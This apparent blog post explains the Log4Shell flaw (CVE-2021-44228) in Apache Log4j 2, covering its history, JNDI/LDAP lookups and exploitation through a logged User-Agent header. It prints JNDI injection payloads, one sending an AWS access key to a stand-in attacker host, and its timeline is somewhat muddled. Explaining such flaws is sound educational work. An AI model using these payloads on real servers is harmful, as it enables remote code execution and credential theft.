INTRODUCTION
Log4jShell is a software vulnerability in Apache Log4j 2 which is a popular java library used for logging events in java-based applications also known by its CVE identifier as CVE-2021-44228 had sent shockwaves in the field of cybersecurity. This vulnerability is also known as the single biggest, most critical vulnerability of the last decade. This vulnerability allowed an attacker to execute remote code on the server and gain Remote Code Execution (RCE) in the affected web servers and remote systems. (Berger, 2023)
Log4jShell was first discovered in 24 November 2021 by the cybersecurity researcher named Chen Zhaojun of the Alibaba Cloud Security Team. At the beginning, Alibaba Cloud Security Team discovered this vulnerability in on servers that have hosted the Minecraft game on December 9th of 2021. Chen Zhaojun and other team members of Alibaba cloud security team has hinted that this severe vulnerability was being exploited by black hat hackers even before of its discovery making this a zero day vulnerability.
This vulnerability took its flight after this was made public on Twitter in 9th December of 2021. After it’s publication it took world of cyber security by storm and soon it was known as the most critical vulnerability of the decade.
OVERVIEW OF LOG4J
Apache log4j is a java based open source library used for logging data and information in the java based application. This was initially released in October 1999 and Log4j 2 which is the affected version from log4jShell was released in 2014. This library was quite popular because of it’s unique and effective features that was provided by Apache.
The main reason Log4J gained popularity was because of it’s features which were absent in other logging based library. Some of them are mentioned below.
- New Plugin system
- Support for JSON based configuration
- Lookups These are some of the features which made Log4J popular library for logging amongst Java developers.
IMPORTANCE OF LOGGING
Logging is the one of the most important parts in any organization. A good logging system helps an organization in many beneficial ways. The main reason most organization do logging is to track errors in the system or do incident tracking. The other reasons to do logging may also include writing logged report to files and databased without an active console.
LOG4JSHELL
As we have already mentioned, Log4Jshell is a security vulnerability in Java logging related library known as Log4J. This vulnerability affected many reputed organizations like Cloudflare, Apple(iCloud), Minecraft, Tencent, Twitter and many more. This vulnerability enabled an attacker to gain remote access of the server by executing java code in the vulnerable server. This vulnerability affected Log4J version 2.14.1 and below.
DEEP DIVE ON OCCURRENCE OF LOG4JSHELL
The root cause of this vulnerability, Log4jShell raised from one the most used feature of Log4J. This feature was, Lookups, this feature allowed users or server owner easy way to add values to the log4J configuration at arbitrary places or the location which was not easily
editable by the user. (Goers, n.d.) There are many types of lookups in log4j. Context map lookup, Date lookup, Environment
lookup, java lookup and JNDI lookups are few of them. The lookup from which vulnerability raised was JNDI lookups.
Java Naming and Directory Interface also known as JNDI is a one of the lookups for Log4J library. JNDI provides an API for application to interact with remote objects registered with
RMI registry or directory server like LDAP. This allowed developers to use a consistent interface to perform naming and directory operation, irrespective of the underlying directory service. The use of Lightweight Directory Access Protocol also known as LDAP with JNDI lookups was the root and underlying flaw of Log4Jshell vulnerability. The LDAP is an open standard application protocol for accessing and maintaining distributed directory information services. LDAP is also a kind of database itself. This protocol was used to exploit Log4Jshell vulnerability widely.
THE VULNERABILITY
To exploit this vulnerability, first attacker needs to find the response or request which was being logged by the organization. Then attackers need to find what part of the request or response was being logged. In the majority case, User-Agent header of the request was being logged by the server. So, attacker just needed to use his vulnerable payload instead of original value of User-Agent. Then payload would have been sent to server to be logged but since it is modified value of User-Agent which is mostly likely be command related to Log4J and instead of just blocking it by the server, it was executing this payload which caused all this problem.
*Normal User-Agent header looks like this *
User-Agent: Mozilla/5.0 (<system-information>) <platform> (<platform-details>)<extensions>
*Modified User-Agent header to exploit Log4Jshell vulnerability *
User-Agent:- ${jndi:ldap://attack.server.url/?s=${env:AWS_ACCESS_KEY_ID}}
And when this modified user agent reached the server instead of getting it blocked it was executing at the time of logging.
Image source: https://tech-blog.cymetrics.io/en/posts/huli/log4j-and-log4shell/
We can understand working mechanism of Log4Jshell vulnerability more precisely with the help of this image. Here in the image
- User-Agent is being logged, so attacker submitted the malicious JNDI header instead of original string of User-Agent
- User-Agent: ${jndi:ldap://evil.xa/x}
- Now that malicious string is passed to log4j for logging
- Now, since it is vulnerable to log4jshell vulnerability, it will query the malicious ldap server and fetches the object form them.
This is how log4jshell is exploited. Now instead of fetching object from server attack can also send reverse shell code to gain remote access of the server which will lead to Remote Code Execution also known as RCE.
Top comments (0)